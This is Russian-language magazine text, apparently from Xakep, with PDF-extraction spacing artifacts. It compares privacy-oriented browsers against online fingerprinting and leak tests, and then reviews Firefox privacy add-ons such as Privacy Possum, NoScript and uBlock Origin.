Что бы  узнать,  сто ит  ли  доверять  подоб ным  прог раммам,  я  решил  не  изоб‐ 
ретать  слож ных  стен дов  и  не  занимать ся  пос трой кой  спе циаль ной  лабора‐ 
тории. Для срав нения  защищен ных бра узе ров впол не дос таточ но вир туал ки
со све жеус танов ленной вин дой и нес коль ких онлай новых тес тов, спе циаль но
соз данных для про вер ки уров ня безопас ности подоб ных прог рамм. Вот они.

  —  про веря ет  уяз вимос ти  в  бра узе ре  и  тес тиру ет
нас трой ки работы с фай лами cookies. По умол чанию для про хож дения тес‐ 
та пред лага ется уста новить спе циаль ный пла гин, но мож но обой тись и без
него, вос поль зовав шись ссыл кой на сай те.

• Qualys  Browser  Check

  —  тест  от  извес тной  ком‐ 
пании Cloudflare, про веря ет исполь зуемые бра узе ром DNS, сер тифика ты,
нас трой ки cookies и наличие извес тных уяз вимос тей.

• Cloudflare  Browsing  Experience  Security  Check

 — ком плексная про вер ка бра узе ра на воз можность утеч ки
дан ных. Про веря ется отсле жива ние по IP, отпе чат ку бра узе ра, тес тиру ются
нас трой ки при ват ности.

• Privacy Analyzer

 — тест на third‐party tracking cookies и отсле жива ние по отпе‐ 
чат ку бра узе ра.

• Panopticlick

  —  сер вис,  демонс три рующий  всю  информа цию,  которую  твой
бра узер переда ет веб‐сай там в интерне те.

• Webkay

Итак, с кри тери ями оцен ки разоб рались. Теперь перей дем к нашим подопыт‐ 
ным бра узе рам — какие резуль таты они нам покажут с нас трой ками по умол‐ 
чанию? Сей час узна ем!

COMODO DRAGON
 Comodo GroupРаз работ чик:

 Сайт: comodo.com/home/browsers‐
toolbars/browser.php

Comodo  Dragon,  пожалуй,  самое  рас кру чен ное  решение  для  безопас ного
сер финга в сети пос ле Tor Browser. Dragon пре тен дует на роль  уни вер саль‐ 
ного решения для тех, кому неохо та ждать по пол часа, пока запус тится Tor.

INFO

Ре пута ция  Comodo  однажды  серь езно  пос тра‐ 
дала  —  ког да  в  2016  году  ком панию  ули чили
в  том,  что  ее  про дук ты 

.
без  спро са  ста вили

на компь юте ры VNC‐сер вер

На  самом  деле  чуваки  из  Comodo  сде лали  целых  два  секь юрных  бра узе ра
с одним и  тем же набором фун кций, но на раз ных движ ках: Comodo Dragon
на плат форме Chromium и Ice Dragon на базе Firefox. Сре ди заяв ленных воз‐ 
можнос тей  —  встро енная  защита  от  мал вари,  исполь зование  безопас ных
DNS, бло киров ка cookies и валида ция доменов для борь бы с фишин гом.

Я ска чал сра зу обе вер сии «Ящер ки» и запус тил их на вир туал ке по оче‐ 
реди. Внеш не Dragon выг лядит как при выч ный Chrome и запус кает ся при мер‐ 
но  с  той  же  ско ростью  —  на  моей  вир туал ке  его  заг рузка  заняла  в  сред‐ 
нем 4,5 секун ды. От  «Хро ма» бра узер  унас ледовал и любовь  к опе ратив ной
памяти — с одним окном и одной откры той вклад кой Comodo Dragon с ходу
запус тил в сис теме пять про цес сов и отож рал 90 Мбайт.

Comodo Dragon, как любой ува жающий себя Chromium, любит память

Что ж, пос мотрим, что ска жут тес ты.
  рас познал  в  Comodo  Dragon  бра узер  Chrome,

при чем уста рев шей вер сии, пос ле чего пред ложил ска чать с сай та Google
вер сию поновее.

• Qualys  Browser  Check

 опре делил, что Drag‐
on не про веря ет под линность отве тов DNS‐сер веров с помощью DNSSEC
и  не  под держи вает шиф рование  име ни  сер вера  SNI  при  уста нов ке  TLS‐
соеди нения, —  теоре тичес ки это может пос тавить под  угро зу  кон фиден‐ 
циаль ность.

• Cloudflare Browsing Experience Security Check

Тест   показал, что Dragon успешно передал уда лен ному
узлу мой IP‐адрес, локацию, вер сию бра узе ра, раз рядность ОС и дан ные
об экранном раз решении.

• Privacy Analyzer

  про демонс три ровал,  что  бра узер  име ет  уни каль ный  «отпе‐ 
чаток» и не посыла ет на сер вер HTTP‐флаг DNT (do not  track), а это поз‐ 
воля ет  отсле живать  поль зовате ля.  Все  осталь ные  тес ты  безопас ности
на этом сай те Comodo Dragon про шел успешно.

• Panopticlick

На конец, судя по стра нич ке  , помимо вер сии и раз ряднос ти Win‐
dows,  IP‐адре са  и  экранно го  раз решения,  Dragon  поз воля ет  вер но  рас‐ 
познать уро вень заряда батареи моего девай са и тип про цес сора. Прос‐ 
каниро вать локаль ную сеть в поис ках дос тупных устрой ств бра узер не дал.

• Webkay

Comodo  Ice  Dragon  внеш не  мало  чем  отли чает ся  от  сво его  «неледя ного»
соб рата.  Firefox  и  Firefox,  ничего  осо бен ного.  Заг ружа ется  и  работа ет  он
доволь но шус тро: от щел чка мышью на знач ке до запус ка при ложе ния прош‐ 
ло три секун ды.

Comodo Ice Dragon похож на обыч ный Firefox

 не обна ружил никаких недос татков, тест прой ден
со стоп роцен тным успе хом.

• Qualys Browser Check

  показал  в  точ ности
тот же резуль тат, что и в пре дыду щем слу чае.

• Cloudflare Browsing Experience Security Check

По зак лючению  , бра узер отда ет наружу все те же дан‐ 
ные, что и его род ной брат, в том чис ле IP‐адрес и вер сию ОС.

• Privacy Analyzer

 сооб щил, что прог рамма не бло киру ет попыт ки рек ламно го
тре кин га, не посыла ет DNT и име ет уни каль ный «отпе чаток».

• Panopticlick

А вот   пре под нес сюр приз: ока залось, что бра узер име ет уни каль‐ 
ный User Agent   и не отправ ляет на сто рону вооб ще
никаких дан ных о железе,  кро ме раз ряднос ти про цес сора. Зато, помимо
внеш него  айпиш ника,  Webkay  радос тно  про демонс три ровал  мне  IP
сетево го  интерфей са  моей  локал ки.  С  помощью  спе циаль ной  кноп ки
на сай те я попытал ся прос каниро вать дос тупные в локаль ной сети девай‐ 
сы, но поиск резуль татов не при нес.

• Webkay

IceDracon 65.0.2

WATERFOX
 Alex KontosРаз работ чик:

 Сайт: waterfox.net

Это  еще  один  клон  Firefox  с  упо ром  на  безопас ность,  име ющий  вер сии
не толь ко для вин ды, но и для macOS и Linux, при чем дос тупна толь ко 64‐раз‐ 
рядная вер сия. В раз деле «О прог рамме» офи циаль ного сай та ска зано, что
бра узер  сде лал  в  2011  году  шес тнад цатилет ний  школь ник  Алекс  Кон тос,
который  занима ется  обновле нием  и  под дер жкой  сво его  детища  и  по  сей
день.  Автор  утвер жда ет,  что  его  при ложе ние  не  собира ет  телемет рию
и отправ ляет наружу толь ко дан ные о вер сии бра узе ра и ОС, что бы вов ремя
получать обновле ния. Все осталь ные кон фиден циаль ные, заверя ет раз работ‐ 
чик, в пол ной безопас ности. Внеш не прог рамма пред став ляет собой самый
обыч ный Firefox — нас толь ко обыч ный, что даже скуч но. Работа ет и заг ружа‐ 
ется  с  такой же  ско ростью,  сущес твен ных  раз личий  с  обыч ной  «Лисицей»  я
не заметил.

Waterfox — это тоже Firefox без осо бых внеш них отли чий

Пос мотрим, как оце нят подел ку школь ника тес ты.
 —  тест  прой ден  успешно,  ни  одной  проб лемы

не выяв лено.
• Qualys Browser Check

 показал, что у Water‐
fox  есть  проб лемы  с  про вер кой  DDNSEC  и  при мене нием  Encrypted  SNI.
Кро ме того, бра узер не под держи вает TLS 1.3.

• Cloudflare Browsing Experience Security Check

На конец,  Waterfox  успешно  про валил  все  тес ты  ,  а  по
дан ным   и   — слил наружу мой  IP‐адрес, тип и раз‐ 
рядность про цес сора, а  так же парамет ры экранно го раз решения, но все
осталь ные дан ные бла гора зум но ута ил.

• Privacy Analyzer

Panopticlick Webkay

При меча тель но,  что  Waterfox  рас позна ется  как  Firefox  56.0,  в  то  вре мя
как  акту аль ная  вер сия  «Лисицы»  на  сегод няшний  день  79.0.  То  есть  клон
отста ет от ори гина ла при мер но на веч ность, и это может озна чать проб лемы
уже не с при ват ностью, а с безопас ностью.

IRON  SRWareРаз работ чик:
 Сайт: srware.net/iron

Iron — это не «иро ния», а   «железо», что как бы намека ет нам на бру‐ 
таль ность  и  надеж ность  дан ного  бра узе ра.  «Железя ка»  соб рана  на  осно ве
Chromium, исполь зует пос ледние вер сии WebKit и V8, а так же вклю чает собс‐ 
твен ный  ком понент  бло киров ки  рек ламы.  При меча тель но,  что  у  сай та  раз‐ 
работ чика  есть  рус ская  вер сия  —  прав да,  скла дыва ется  ощу щение,  что
переве дена она на великий и могучий при помощи все того же Google Trans‐
late. По утвер жде ниям соз дателей,  Iron не отправ ляет в Google телемет рию,
не  отсы лает  авто мати чес кие  баг‐репор ты  и  не  обновля ется  в  фоновом
режиме,  что  поз воля ет  эко номить  тра фик.  А  еще  он  обла дает  «эле ган тным
дизай ным».

«утюг»

SRWare  Iron  похож  на  Chrome  чуть  менее,  чем  пол ностью.  Прог рамма
запус кает ся  при мер но  за 3,5  секун ды и работа ет  с  нес коль кими откры тыми
вклад ками  доволь но‐таки  шус тро:  зна читель ных  тор мозов  я  за  ней
не заметил. Мне даже показа лось, что этот бра узер работа ет побыс трее, чем
Chromium в сбор ке Comodo.

Же лез ный утюг SRWare Iron

 пожало вал ся мне на уста рев шую вер сию Google
Chrome (83.0.4250) и сооб щил, что она небезо пас на.

• Qualys Browser Check

Тест   про демонс три ровал показа тели, ана логич ные бра узе рам
Comodo, — вклю чен ная под дер жка TLS 1.3, но пре тен зии к DNSSEC и En‐
crypted SNI.

• Cloudflare

  руг нулся  на  стан дар тный  набор  проб лем  с  при ват ностью
(все тес ты ока зались про вале ны) и меж ду делом заметил, что если в SR‐
Ware Iron и при сутс тву ет какой‐то бло киров щик рек ламы, то он не работа‐ 
ет.

• Panopticlick

  и    сооб щили,  что  «Железя ка»  отда ет  наружу
дан ные о вер сии бра узе ра, вер сии и раз ряднос ти ОС,  IP‐адрес, все све‐ 
дения  о  железе  (вклю чая  модель  виде окар ты,  экранное  раз решение
и сос тояние батареи), одна ко дан ные о локаль ной сети оста лись для We‐
bkay тай ной.

• Privacy  Analyzer Webkay

BRAVE
 Brave SoftwareРаз работ чик:

 Сайт: brave.com

Соз датели  бра узе ра  Brave  утвер жда ют,  что  их  про дукт  на  базе  Chromium,
как  никакой  дру гой,  пре дот вра щает  тре кинг  и  воз можные  утеч ки  дан ных.
Одна  из  фишек  Brave —  воз можность  отправ лять  крип товалют ные  пла тежи
веб‐сай там  и  соз дателям  кон тента  в  виде    —  раз‐ 
работан ной Brave Software крип товалют ной плат формы на базе Etherium.

Basic  Attention  Tokens

В 2017 году, кода плат форма была впер вые запуще на, Brave Software про‐ 
дала  токенов  на  сум му  более  35 мил лионов  дол ларов США,  а  новым поль‐ 
зовате лям  плат формы  раз дали  в  целях  прив лечения  в  общей  слож‐ 
ности 300  тысяч  токенов. Поль зовате ли бра узе ра Brave могут  зараба тывать
токены  за  прос мотр  рек ламы  или  пла тить  соз дателям  кон тента  —  либо
отправ ляя мик ротран закции, либо исполь зуя встро енную фун кцию Brave, ког‐ 
да заранее уста нов ленная сум ма воз награж дения рас пре деля ется авто мати‐ 
чес ки  меж ду  вла дель цами  зарегис три рован ных  в  сис теме  сай тов  в  зависи‐ 
мос ти от того, сколь ко вре мени юзер про вел за прос мотром кон тента.

Су щес тву ют вер сии бра узе ра для Windows, macOS, Linux, а так же Android
и  iOS. Мы рас смот рим толь ко пер вую из них, интерфейс которой, как и сле‐ 
дова ло ожи дать, кос пле ит Chrome.

Крип товалют ный бра узер Brave

 показал, что  текущая вер сия Chrome акту аль на,
обновле ния не тре бует ся.

• Qualys Browser Check

Тест    не  про демонс три ровал  ничего  нового  —  ана логич ный
резуль тат был и у бра узе ров Comodo, и у Iron.

• Cloudflare

А  вот    дал  неожи дан ный  резуль тат:  как  ока залось,  Brave
успешно  бло киру ет  рек ламу,  авто мати чес кий  тре кинг,  но  при  этом
не  отправ ляет  DNT  и  обла дает  харак терным  «отпе чат ком»,  по  которо му
его мож но вычис лить.

• Panopticlick

 и   уди вили еще боль ше: оба сай та не показа ли
мой IP‐адрес и локацию, хотя сер висы вро де WhatIsMyIP его без проб лем
опре дели ли. Бра узер передал дан ные о вер сии и раз ряднос ти ОС, железе
(вклю чая про цес сор,  гра фичес кий адап тер, экранное раз решение и сос‐ 
тояние  батареи).  В  качес тве  User  Agent  прог рамма  исполь зует 

.

• Privacy Analyzer Webkay

Chrome 

84.0.4147.125

В целом — неп лохой резуль тат. С уче том того что при ложе ние работа ет дос‐ 
таточ но  быс тро  (хотя  по  ощу щени ям  и  мед леннее  Iron),  к  нему  явно  сто ит
прис мотреть ся.

EPIC  Hidden ReflexРаз работ чик:
 Сайт: epicbrowser.com

Этот  бра узер  раз работан  ком пани ей,  базиру ющей ся  в  Бан галоре  (Индия)
с пред ста витель ством в Вашин гто не. Тут мне нес терпи мо хотелось пошутить
про  индус ский  код,  но  Epic,  как  и  его  кон курен ты,  осно ван  на  Chromium,
поэто му  код  там  гуг лов ский.  Раз работ чик  прог раммы  Алок  Бхар двадж  (Alok
Bhardwaj) утвер жда ет, что Epic успешно бло киру ет тре кинг, фин гер прин тинг,
назой ливую рек ламу, крип томай нинг  . Помимо вер сии для Win‐
dows, на сай те мож но ска чать релиз для macOS, там же при сутс тву ют ссыл ки
на Google Play и App Store для ска чива ния мобиль ных вер сий.

и магию вуду

Это прос то Epic какой‐то

Сра зу пос ле запус ка при ложе ния юзер видит гроз ное пре дуп режде ние о том,
что некото рые фун кции бра узе ра,  такие  как встро енный VPN, прок си и бло‐ 
киров щик  рек ламы,  нуж но  уста новить  отдель но  в  виде  пла гинов,  дос тупных
на спе циаль ной стра нич ке Epic Extension Store. Чем в таком слу чае Epic отли‐ 
чает ся от обыч ного «Хро ма», в котором тоже мож но нас тро ить прок си и VPN
с  помощью  пла гинов,  для  меня  оста лось  загад кой.  Что  ж,  пос мотрим,  что
уме ет этот бра узер из короб ки с нас трой ками по умол чанию.

 — проб лем и замеча ний нет.• Qualys Browser Check

 — резуль тат, ана логич ный Comodo и Iron.• Cloudflare

 — бра узер успешно бло киру ет рек ламу и попыт ки тре кин га,
но не посыла ет DNT и име ет харак терный «отпе чаток».

• Panopticlick

  —  тест  «под вис»  на  опре деле нии  IP‐адре са  и  геоло‐ 
кации, резуль тата я так и не дож дался.

• Privacy Analyzer

 — сер вис успешно опре делил мой IP и вер сию ОС, но не показал
решитель но  никаких  дан ных  о  железе,  кро ме  раз ряднос ти  про цес сора.
Бра узер опре деля ется как  .

• Webkay

Chrome 84.0.4147.105

Гля дя  на  наз вание  про дук та,  я  пред вку шал,  что  мож но  будет  написать
об «эпик фейл», но на удив ление бра узер зареко мен довал себя сов сем неп‐ 
лохо. Бло киров ка рек ламы, тре кин га, а так же минимум переда ваемых наружу
дан ных, и все это без допол нитель ных пла гинов — доволь но серь езная заяв‐ 
ка на успех.

DOOBLE WEB BROWSER  Dooble Project TeamРаз работ чик:
 Сайт: textbrowser.github.io/dooble/

Раз работ ка это го бра узе ра с откры тым исходным кодом началась две над цать
лет назад. Интерфейс Dooble осно ван на Qt, а само при ложе ние кросс‐плат‐ 
формен ное: есть вер сии для FreeBSD, Linux, macOS, OS/2 и Windows, при чем
в виде пор татив ной вер сии для всех плат форм. Дис три бутив мож но ска чать
с    в  виде  ZIP‐архи ва,  в  котором  находит ся  исполня емый  файл  и  все
нуж ные биб лиоте ки.
GitHub

С  нас трой ками  по  умол чанию  Dooble  авто мати чес ки  уда ляет  cookies,
а  хра нимые  в  прог рамме дан ные шиф руют ся  (за  исклю чени ем  информа ции
о  поль зователь ских  нас трой ках).  Бра узер  при меня ет  сес сион ную  модель
с  исполь зовани ем  вре мен ных  клю чей,  при  этом  пароль ную  фра зу  мож но
изме нить  без  потери  дан ных.  Мас тер‐пароль  нуж но  соз дать  в  нас трой ках
при пер вом запус ке Dooble, ина че при завер шении работы все сох ранен ные
в  бра узе ре  дан ные  будут  стер ты.  Эти  фун кции  поз воля ют  условно  отнести
Dooble к катего рии безопас ных бра узе ров.

На  моей  вир туал ке  с Windows  10 Dooble  наот рез  отка зал ся  запус кать ся,
руга ясь на отсутс твие какой‐то биб лиоте ки, зато на хос товой машине с Win‐
dows 7 он неожи дан но зарабо тал. Внеш нее офор мле ние прог раммы мож но
оха рак теризо вать фра зой «при вет из девянос тых» — у меня он даже выдавил
нос таль гичес кую сле зу.

Dooble — кросс‐плат формен ный бра узер на Qt

Срав нитель ные тес ты дали сле дующие резуль таты.
  —  обоз вал  Dooble  небезо пас ной  вер сией

Google Chrome — видимо, из‐за исполь зуемо го бра узе ром User Agent.
• Qualys  Browser  Check

 — резуль тат, ана логич ный Comodo, Iron, Epic и Brave.• Cloudflare

 — пол ный про вал тес та по всем пун ктам.• Panopticlick

 и   — бра узер передал IP‐адрес, дан ные об ОС
и  железе,  геоло кацию,  экранное  раз решение.  Внеш ним  сер висам  прог‐ 
рамма пред став ляет ся как  .

• Privacy Analyzer Webkay

Chrome 84.0.4147.163

По жалуй, Dooble — самый быс трый из всех бра узе ров, опро бован ных мной
в этом экспе римен те. С уче том того что он пред став лен в виде пор татив ной
вер сии,  при ложе ние  может  быть  очень  полез но  для  сис тем,  в  которых  зат‐ 
рудне на  уста нов ка  прог рамм.  Так же,  веро ятно,  бра узер  при дет ся  по  вку су
поль зовате лям  BSD  и  Linux.  Работос пособ ность  при ложе ния  в  Windows
10 вызыва ет опре делен ные сом нения.

ВЫВОДЫ
Ито ги  экспе римен та  получи лись  неод нознач ные.  Воп реки  ожи дани ям,  луч‐ 
шие  резуль таты  показа ла  не  про дук ция  прос лавлен ной  ком пании  Comodo,
а впол не скром ные Brave и Epic. Одна ко неп лох и Comodo  Ice Dragon — он
отправ ляет  наружу мень ше  дан ных  об  устрой стве,  чем  его  соб рат. Comodo
Dragon я бы пос тавил на чет вертое мес то. Вла дель цам устрой ств со сла бым
железом и ста рыми вер сиями ОС может прий тись по вку су Dooble,  который
отли чает ся неп лохим быс тро дей стви ем. А вот Waterfox и Iron утю гом ныр нули
на  самое  дно  нашего  скром ного  рей тин га —  они  хуже  кон курен тов  справ‐ 
ляют ся с рек ламой и бло киров кой тре кин га.

Оче вид но, что ни одна из перечис ленных в сегод няшней статье прог рамм
не  может  обес печить  пол ную  ано ним ность  и  безопас ность  в  интерне те.
Для  нас тоящей  кон фиден циаль нос ти  нуж но  исполь зовать  VPN,  отклю чать
в нас трой ках бра узе ра обра бот ку скрип тов, исполь зовать шиф рован ные кон‐ 
тей неры  для  хра нения  дан ных  форм  и  паролей.  Кро ме  того,  сущес тву ет
широкий  ассорти мент  пла гинов,  ори енти рован ных  на  повыше ние  уров ня
безопас ности при работе в сети. Но о них мы под робно погово рим в дру гой
раз.
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ПРИВАТНОСТЬ

У Mozilla  Firefox  есть  целая  армия  пре дан ных фанатов. Оно
и неуди витель но: бра узер зареко мен довал себя как надеж‐ 
ный, быс трый, а глав ное — лег ко рас ширя емый с помощью
мно жес тва пла гинов. Сре ди них — целый набор инс тру мен‐ 
тов  для  повыше ния  ано ним ности  и  кон фиден циаль нос ти.
Они  поз воля ют  прев ратить  «Огненную  лисицу»  в  мощ ный
безопас ный  бра узер,  который  будет  бло киро вать  слеж ку
за  поль зовате лем.  В  этой  статье  мы  рас смот рим  самые
инте рес ные из них.

Ко неч но, нич то не меша ет тебе заг рузить  , который, к сло ву, и сам
осно ван на Firefox, или уста новить один из  . Но если
ты уже при вык к Firefox, как к удоб ным домаш ним тапоч кам, береж но хра нишь
лин ки  в  «Избран ном»  еще  со  вре мен Windows  XP,  да  и  вооб ще  не  скло нен
к  переме нам,  на  помощь при дут  соз данные  незави симы ми раз работ чиками
рас ширения.  С  их  помощью  мож но  бло киро вать  тре кинг  со  сто роны
интернет‐ресур сов, менять дан ные геоло кации, модифи циро вать «отпе чаток»
бра узе ра, а так же делать мно жес тво дру гих кру тых и полез ных вещей.

Tor Browser
за щищен ных бра узе ров

PRIVACY POSSUM
• privacy-possum

Это, навер ное, один из самых извес тных пла гинов для Firefox, пред назна чен‐ 
ных  для борь бы со  слеж кой методом бло киров ки  и фаль сифика ции дан ных,
которые  собира ют  раз личные  тре кин говые  скрип ты.  Privacy  Possum пре дот‐ 
вра щает при ем фай лов cookies, бло киру ет HTTP‐заголов ки   и 

, а так же иска жает «отпе чаток» бра узе ра, что зат рудня ет фин гер прин‐ 
тинг.

set‐cookie re‐
ferrer

INFO

Сай ты могут отсле живать поль зовате ля не толь ко
с помощью куков, но и бла года ря так называ емо‐ 
му отпе чат ку бра узе ра  (browser  fingerprint). При‐ 
чем,  помимо  дан ных  самого  бра узе ра  (таких
как  User  Agent),  «отпе чаток»  вклю чает  све дения
о  вер сии  и  раз ряднос ти  ОС,  экранном  раз‐ 
решении  и  дру гие  переда ваемые  наружу
парамет ры  аппа рат ной  и  прог рам мной  кон‐ 
фигура ции  машины.  Подоб ный  «отпе чаток»,
конеч но,  не  уни кален,  но  с  опре делен ной  долей
дос товер ности  поз воля ет  иден тифици ровать
поль зовате ля.

Прод винутых нас тро ек у пла гина нет: его мож но вклю чить или вык лючить, а на
стра нич ке  кон фигура ции  —  зап ретить  авто мати чес кое  обновле ние  и  раз‐ 
решить ему запус кать ся в при ват ном окне.

Пла гин Privacy Possum не име ет прод винутых нас тро ек

Пос ле  уста нов ки  Privacy  Possum  мне  ста ло  край не  любопыт но,  что  ска жет
о  его  работе  тест  ,  который  мы 
для  про вер ки  защищен ных  бра узе ров.  Тест  показал,  что  пла гин  и  вправ ду
бло киру ет cookies и рек ламные тре керы, а с помощью сай та   уда лось
выяс нить,  что  при  вклю чен ном  рас ширении  бра узер  оставля ет  о  себе  зна‐ 
читель но мень ше информа ции, чем без него, — фак тичес ки, кро ме IP‐адре‐ 
са, наружу утек ла толь ко раз рядность про цес сора, вер сия ОС и самого Fire‐
fox.  Резуль тат,  пря мо  ска жем,  впол не  на  уров не  какого‐нибудь  Comodo
Dragon.

Panopticlick ис поль зовали  в  прош лый  раз

Webkay

TRACE
• absolutedouble-trace

Еще  один  пла гин,  который  «лома ет»  механизм  фин гер прин тинга,  под меняя
отправ ляемые  на  уда лен ные  сер веры  дан ные,  в  том  чис ле  изме няя  HTTP‐
заголов ки.  Лилово‐алый  с  оран жевым  оттенком  фон  стра ницы  нас тро ек
как  бы  намека ет  нам  на  то,  что  авто ры  аддо на  шутить  не  любят —  тут  все
серь езно!

Так выг лядят нас трой ки Trace

Trace  работа ет  со  спис ками  доменов,  раз делен ных  на  катего рии,  одна ко
в  бес плат ной  вер сии  пла гина  дос тупен  толь ко  базовый  спи сок,  набор  под‐ 
доменов  Facebook  и  перечень  сай тов,  май нящих  крип товалю ты  с  исполь‐ 
зовани ем JavaScript. Все осталь ные катего рии — вро де виде отре керов, сай‐ 
тов,  любящих  отправ лять  push‐уве дом ления,  и  ресур сов,  рас сыла ющих
спам, — дос тупны толь ко пре миум‐под писчи кам.

TRACKMENOT
• trackmenot

Этот пла гин пред назна чен для борь бы с тре кин гом поис ковых зап росов. Каж‐ 
дый поль зователь зна ет на собс твен ном горь ком опы те: дос таточ но один раз
поис кать  в  интерне те  сов ковую  лопату,  и  сле дующую  неделю  ты  будешь
любовать ся рек ламой  граб лей, мотыг и даже мотокуль тивато ров. Вот  это му
явле нию  и  про тивос тоит  TrackMeNot,  отправ ляя  поис ковикам  ран домизи‐ 
рован ные зап росы, которые зас тавля ют их элек трон ные моз ги кипеть и пла‐ 
вить ся. Нас тро ек у это го пла гина поболь ше, но все они, в общем‐то, прос ты
и понят ны.

Нас трой ки пла гина TrackMeNot

Здесь  мож но,  нап ример,  вклю чить  или  отклю чить    —  отправ ку
зап росов  кон крет но  в  тот  поис ковик,  в  котором юзер  что‐то  ищет  в  дан ный
момент, выб рать из спис ка исполь зуемые поис ковые сис темы или добавить
туда  свою.  Сре ди  дру гих  нас тро ек  —  пери одич ность  отправ ки  зап росов
и ведение жур нала,  которое при желании мож но отклю чить. Пла гин переве‐ 
ден на шесть язы ков, одна ко рус ско го сре ди них нет.

burst  mode

DECENTRALEYES
• decentraleyes

Этот  аддон  защища ет  от  отсле жива ния  через  CDN,  отправ ляя  мно жес тво
зап росов к пуб личным CDN‐служ бам вро де YandexCDN, GHL, MaxCDN. Как и
любое полез ное изоб ретение, CDN при носит поль зу не толь ко прос тым поль‐ 
зовате лям, но и ком мерсан там, жела ющим знать об этих самых поль зовате‐ 
лях как мож но боль ше, а луч ше — все.
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CDN (Content Delivery Network), или сеть дос тавки
(и  дис три буции)  содер жимого,  —  это  рас пре‐ 
делен ная  аппа рат но‐прог рам мная  инфраструк‐ 
тура,  уско ряющая  дос тавку  кон тента  конеч ным
поль зовате лям. Физичес ки  это  реали зова но  так:
иден тичный  кон тент  раз меща ют  на  нес коль ких
геог рафичес ки  рас сре дото чен ных  сер верах,  что‐ 
бы сок ратить вре мя ожи дания и заг рузки дан ных
при  обра щении  к  такому  сер веру.  Эта  же  сис‐ 
тема,  как  пра вило,  исполь зует  сце нарии  сбо ра
ста тис тики  и  кон тро ля  посеща емос ти,  которая
может слу жить для отсле жива ния поль зовате лей.

В нас трой ках Decentraleyes мож но соз дать белый спи сок доверен ных
доменов

Бло киров ка  и  под мена  зап росов  CDN  может  поломать  некото рые  сай ты,
поэто му  пла гин  под став ляет  вмес то  заг ружа емых  из  сети  локаль ные фай лы
там,  где это необ ходимо. Нас трой ками рас ширение  тоже небога то,  но  зато
на стра нице кон фигура ции мож но добавить домены в белый спи сок — и к ним
не будет при менять ся CDN‐филь тра ция.

CHANGE GEOLOCATION
• change-geolocation-locguard

Наз вание это го аддо на говорит само за себя: он поз воля ет гро зить Южно му
цен тра лу, сидя где‐нибудь в Мытищах, то есть менять геоло кацию в Firefox.

Нас трой ки пла гина Change Geolocation

По  умол чанию  пла гин  пред лага ет  исполь зовать  в  качес тве  текущей  геопо‐ 
зиции  исто ричес кий  рай он  Грин вич  в  Лон доне,  но  при  желании  ты  можешь
задать  в  нас трой ках  любые  коор динаты,  пере ехав  куда‐нибудь  в  Сохо.
Для  это го  нуж но  ввес ти  жела емую  широту  и  дол готу  и  при  необ ходимос ти
ука зать  иные  парамет ры  API  геоло кации. Оче вид но,  что  пла гин  не  поможет
в  борь бе  про тив  алго рит мов,  которые  опре деля ют  мес тополо жение  поль‐ 
зовате ля по IP‐адре су, но все осталь ные сай ты он спо собен обма нуть.

HTTPS EVERYWHERE
• https-everywhere

До воль но прос той, но край не полез ный пла гин, зас тавля ющий бра узер при‐ 
нуди тель но  вклю чать  HTTPS  при  соеди нении  с  сай тами,  которые  его  под‐ 
держи вают,  даже  если  ты  наб рал  в  адресной  стро ке  пре фикс  .  Пос ле
уста нов ки рас ширения в инс тру мен таль ной панели Firefox появ ляет ся зна чок,
по щел чку  на  котором мож но  дезак тивиро вать  пла гин,  вклю чить  или  отклю‐ 
чить при нуди тель ное бло киро вание незашиф рован ных HTTP‐зап росов, а так‐ 
же  нажати ем  одной  кноп ки  добавить  откры тый  в  бра узе ре  сайт  в  спи сок
исклю чений. Доволь но полез ный инс тру мент для всех, кто заботит ся о собс‐ 
твен ной безопас ности.

http

FOXYPROXY
• foxyproxy-standard

Ши роко извес тный, очень популяр ный и край не вос тре бован ный пла гин, поз‐ 
воля ющий добавить в Firefox фун кцию, подоб ную раз рекла миро ван ному VPN
в Opera. Прос то ука зыва ешь в нас трой ках аддо на адрес и порт любого бес‐ 
плат ного  прок си‐сер вера,  пос ле  чего  его  мож но  вклю чать  или  отклю чать
одним  щел чком  мыши  —  и  все  заб локиро ван ные  интернет‐ресур сы  сно ва
ста новят ся дос тупны слов но по вол шебс тву.

Нас трой ки пла гина FoxyProxy

FoxyProxy  под держи вает  сра зу  нес коль ко  прок си‐сер веров,  поэто му  ты
можешь быс тро перек лючать ся меж ду ними, если какой‐то сер вис из спис ка
вне зап но  отва лит ся.  Для  пущего  удобс тва  аддон  поз воля ет  импорти ровать
ранее  соз данные  нас трой ки  или  заранее  под готов ленный  спи сок  прок си,
а  так же экспор тировать его для перено са на дру гой  компь ютер. Под держи‐ 
вает ся мно жес тво типов сер веров: HTTP, HTTPS, SOCKS 5 и 4, WPAD и PAC
URL — есть из чего выб рать. В общем, этот пла гин — маст‐хэв для каж дого
поль зовате ля  Firefox.  Если  ты  его  еще  не  уста новил,  торопись  испра вить
это упу щение.

NOSCRIPT
• noscript

Из вес тно,  что имен но скрип ты  чаще все го ока зыва ются основной при чиной
утеч ки кон фиден циаль ных дан ных в бра узе ре и наруше ния при ват ности. В Tor
Browser  режим NoScript  дос тупен  из  короб ки,  в  Firefox  его мож но  вклю чить,
уста новив одно имен ный пла гин.

Нас трой ки пла гина NoScript

Рас ширение делит все сай ты на три катего рии — «по умол чанию», «доверен‐ 
ные» и «недове рен ные». Для пер вой катего рии раз решено выпол нение толь‐ 
ко  некото рых,  наибо лее  «безопас ных»  типов  скрип тов,  доверен ным  доз‐ 
волено все, а на недове рен ных сай тах скрип ты, соот ветс твен но, под тоталь‐ 
ным зап ретом. Отре дак тировать спис ки и перенес ти сайт из одной катего рии
в дру гую мож но на вклад ке   в окне нас тро ек пла гина.
Пос коль ку  режим  NoScript  доволь но  час то  лома ет  струк туру  веб‐стра ниц,
нажати ем  одной  кноп ки  в  панели  инс тру мен тов  Firefox  мож но  вре мен но
отклю чить аддон для текуще го сай та либо сра зу добавить его в доверен ные.
Как и в пре дыду щем слу чае, NoScript под держи вает импорт и экспорт нас тро‐ 
ек, что поз воля ет быс тро перено сить их из одной сис темы в дру гую.

Per‐Site Permissions

UBLOCK ORIGIN И UMATRIX
• ublock-origin

• umatrix

Два  пла гина  от  одно го  раз работ чика,  пер вый  из  которых  пред назна чен
для бло киров ки рек ламы, а вто рой — для перех вата и бло киров ки зап росов
бра узе ра.  Рас ширение  uBlock  Origin  име ет  огромное  количес тво  нас тро ек,
разоб рать ся с которы ми с ходу не так‐то прос то.

Нас трой ки пла гина uBlock Origin

Здесь  мож но  задать  типы  бло киру емо го  кон тента  и  изме нить  отоб ражение
ста тис тики, отре дак тировать спис ки филь тров, соз дать собс твен ные филь тры
